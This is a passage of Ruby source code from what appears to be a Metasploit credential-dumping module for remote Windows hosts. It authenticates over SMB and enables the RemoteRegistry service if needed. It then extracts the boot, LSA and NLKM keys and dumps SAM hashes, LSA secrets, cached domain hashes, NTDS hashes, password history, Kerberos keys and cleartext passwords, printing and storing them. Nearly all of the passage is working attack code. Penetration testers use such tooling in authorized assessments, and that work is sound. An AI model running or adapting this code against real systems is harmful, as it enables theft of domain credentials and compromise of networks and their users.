#{info[:pwd_last_set] && info[:pwd_last_set] > Time.at(0) ? info[:pwd_last_set] : 'never'}") print_line("- Last logon: #{info[:last_logon] && info[:last_logon] > Time.at(0) ? info[:last_logon] : 'never'}") print_line("- Account disabled: #{info[:disabled].nil? ? 'N/A' : info[:disabled]}") print_line("- Computer account: #{info[:computer_account].nil? ? 'N/A' : info[:computer_account]}") print_line("- Expired: #{!info[:disabled] && info[:expires] && info[:expires] > Time.at(0) && info[:expires] < Time.now}") print_line("- Password never expires: #{info[:password_never_expires].nil? ? 'N/A' : info[:password_never_expires]}") print_line("- Password not required: #{info[:password_not_required].nil? ? 'N/A' : info[:password_not_required]}") end print_line("\n# Password history (pwdump format - uid:rid:lmhash:nthash:::):") if @lm_hash_not_stored.nil? print_warning( 'NoLMHash policy was not retrieved correctly and we don\'t know if '\ 'LMHashes are being stored or not. We are assuming it is stored and '\ 'the lmhash value will be displayed in the following hash. If it is '\ "not stored, just replace it with the empty lmhash (#{Net::NTLM.lm_hash('').unpack('H*')[0]})" ) end user_info.each_value do |info| full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}" if info[:nt_history].size > 1 || info[:lm_history].size > 1 info[:nt_history][1..].zip(info[:lm_history][1..]).reverse.each_with_index do |history, i| nt_h, lm_h = history lm_h = Net::NTLM.lm_hash('') if lm_h.nil? || @lm_hash_not_stored history_hash = "#{lm_h.unpack('H*')[0]}:#{nt_h.unpack('H*')[0]}" history_name = "#{full_name}_history#{i}" unless report_creds(history_name, history_hash, **credential_opts) vprint_bad("Error when reporting #{full_name} history hash ##{i}") end print_line("#{history_name}:#{info[:rid]}:#{history_hash}:::") end else vprint_line("No password history for #{full_name}") end end print_line("\n# Kerberos keys:") user_info.each_value do |info| full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}" if info[:kerberos_keys].nil? || info[:kerberos_keys].empty? vprint_line("No Kerberos keys for #{full_name}") else credential_opts[:type] = :krb_enc_key info[:kerberos_keys].each do |key| krb_enckey = { **key, # Map the SAMR kerberos key to an IANA compatible enctype before persisting enctype: SAMR_KERBEROS_TYPE_TO_IANA[key[:enctype]] } krb_enckey_to_s = krb_enc_key_to_s(krb_enckey) key_data = Metasploit::Credential::KrbEncKey.build_data(**krb_enckey) unless report_creds(full_name, key_data, **credential_opts) vprint_bad("Error when reporting #{full_name} kerberos key #{krb_enckey_to_s}") end print_line "#{full_name}:#{krb_enckey_to_s}" end end end print_line("\n# Clear text passwords:") user_info.each_value do |info| full_name = "#{domain_name}\\#{info[:username]}" if info[:clear_text_passwords].nil? || info[:clear_text_passwords].empty? vprint_line("No clear text passwords for #{full_name}") else credential_opts[:type] = :password info[:clear_text_passwords].each do |passwd| unless report_creds(full_name, passwd, **credential_opts) vprint_bad("Error when reporting #{full_name} clear text password") end print_line("#{full_name}:CLEARTEXT:#{passwd}") end end end ensure @samr.close_handle(@domain_handle) if @domain_handle @samr.close_handle(@builtin_domain_handle) if @builtin_domain_handle @samr.close_handle(@server_handle) if @server_handle @samr.close if @samr if dcerpc_client dcerpc_client.drs_unbind(ph_drs) dcerpc_client.close end end def do_cleanup print_status('Cleaning up...') if @service_should_be_stopped print_status('Stopping service RemoteRegistry...') svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry') @svcctl.control_service(svc_handle, RubySMB::Dcerpc::Svcctl::SERVICE_CONTROL_STOP) end if @service_should_be_disabled print_status('Disabling service RemoteRegistry...') @svcctl.change_service_config_w(svc_handle, start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED) end rescue RubySMB::Dcerpc::Error::SvcctlError => e vprint_warning("An error occurred when cleaning up: #{e}") ensure @svcctl.close_service_handle(svc_handle) if svc_handle end def open_sc_manager vprint_status('Opening Service Control Manager') @svcctl = @tree.open_file(filename: 'svcctl', write: true, read: true) vprint_status('Binding to \\svcctl...') @svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl) vprint_good('Bound to \\svcctl') @svcctl.open_sc_manager_w(simple.address) end def run unless db print_warning('Cannot find any active database. Extracted data will only be displayed here and NOT stored.') end if session print_status("Using existing session #{session.sid}") client = session.client self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too else connect begin smb_login rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).") end end report_service( host: simple.address, port: simple.port, host_name: simple.client.default_name, proto: 'tcp', name: 'smb', info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})" ) begin @tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$") rescue RubySMB::Error::RubySMBError => e fail_with(Module::Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).") end begin @scm_handle = open_sc_manager rescue RubySMB::Error::RubySMBError => e print_warning( 'Unable to connect to the remote Service Control Manager. It will fail '\ "if the 'RemoteRegistry' service is stopped or disabled ([#{e.class}] #{e})." ) end begin enable_registry if @scm_handle rescue RubySMB::Error::RubySMBError => e print_error( "Error when checking/enabling the 'RemoteRegistry' service. It will "\ "fail if it is stopped or disabled ([#{e.class}] #{e})." ) end begin @winreg = @tree.open_file(filename: 'winreg', write: true, read: true) @winreg.bind(endpoint: RubySMB::Dcerpc::Winreg) rescue RubySMB::Error::RubySMBError => e if ['DOMAIN', 'ALL'].include?(action.name) print_warning( "Error when connecting to 'winreg' interface ([#{e.class}] #{e})... skipping" ) else fail_with(Module::Failure::Unreachable, "Error when connecting to 'winreg' interface ([#{e.class}] #{e})."\ 'If it is a Domain Controller, you can still try DOMAIN action since '\ 'it does not need RemoteRegistry') end end unless action.name == 'DOMAIN' boot_key = '' begin boot_key = get_boot_key if @winreg rescue RubySMB::Error::RubySMBError => e if ['DOMAIN', 'ALL'].include?(action.name) print_warning("Error when getting BootKey... skipping: #{e}") else print_error("Error when getting BootKey: #{e}") end end if boot_key.empty? if action.name == 'ALL' print_warning('Unable to get BootKey... skipping') else fail_with(Module::Failure::NotFound, 'Unable to get BootKey. If it is a Domain Controller, you can still '\ 'try DOMAIN action since it does not need BootKey') end end report_info(boot_key.unpack('H*')[0], 'host.boot_key') end check_lm_hash_not_stored if @winreg if ['ALL', 'SAM'].include?(action.name) if @winreg if datastore['INLINE'] print_status('Using `INLINE` technique for SAM') windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam, inline: true) else begin sam = save_sam windows_reg = Msf::Util::WindowsRegistry.parse(sam, name: :sam, root: 'HKLM\\SAM') rescue RubySMB::Error::RubySMBError => e print_error("Error when getting SAM hive ([#{e.class}] #{e})") end end dump_sam_hashes(windows_reg, boot_key) if windows_reg else print_bad('Winreg client is not initialized, cannot dump SAM hashes') end end if ['ALL', 'CACHE', 'LSA'].include?(action.name) if @winreg if datastore['INLINE'] print_status('Using `INLINE` technique for CACHE and LSA') windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :security, inline: true) else begin security = save_security windows_reg = Msf::Util::WindowsRegistry.parse(security, name: :security, root: 'HKLM\\SECURITY') rescue RubySMB::Error::RubySMBError => e print_error("Error when getting SECURITY hive ([#{e.class}] #{e})") end end if windows_reg lsa_key = get_lsa_secret_key(windows_reg, boot_key) if lsa_key.nil? || lsa_key.empty? print_warning('No LSA key, skip LSA secrets and cached hashes dump') if datastore['INLINE'] print_warning('This might be expected or you can still try again with the `INLINE` option set to false') end else report_info(lsa_key.unpack('H*')[0], 'host.lsa_key') if ['ALL', 'LSA'].include?(action.name) dump_lsa_secrets(windows_reg, lsa_key) end if ['ALL', 'CACHE'].include?(action.name) nlkm_key = get_nlkm_secret_key(windows_reg, lsa_key) if nlkm_key.nil? || nlkm_key.empty? print_warning('No NLKM key (skip cached hashes dump)') if datastore['INLINE'] print_warning('This might be expected or you can still try again with the `INLINE` option set to false') end else report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key') dump_cached_hashes(windows_reg, nlkm_key) end end end end else print_bad('Winreg client is not initialized, cannot dump LSA secrets and cached hashes') end end if ['ALL', 'DOMAIN'].include?(action.name) dump_ntds_hashes end do_cleanup rescue RubySMB::Error::RubySMBError => e fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}") rescue Rex::ConnectionError => e fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}") rescue ::StandardError => e do_cleanup raise e ensure if @svcctl @svcctl.close_service_handle(@scm_handle) if @scm_handle @svcctl.close end @winreg.close if @winreg @tree.disconnect! if @tree # Don't disconnect the client if it's coming from the session so it can be reused unless session simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client) disconnect end end private # @param [Hash] data The keyberos enc key, containing enctype, key and salt def krb_enc_key_to_s(data) enctype_name = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[data[:enctype]] || "0x#{data[:enctype].to_i.to_s(16)}" "#{enctype_name}:#{data[:key].unpack1('H*')}" end end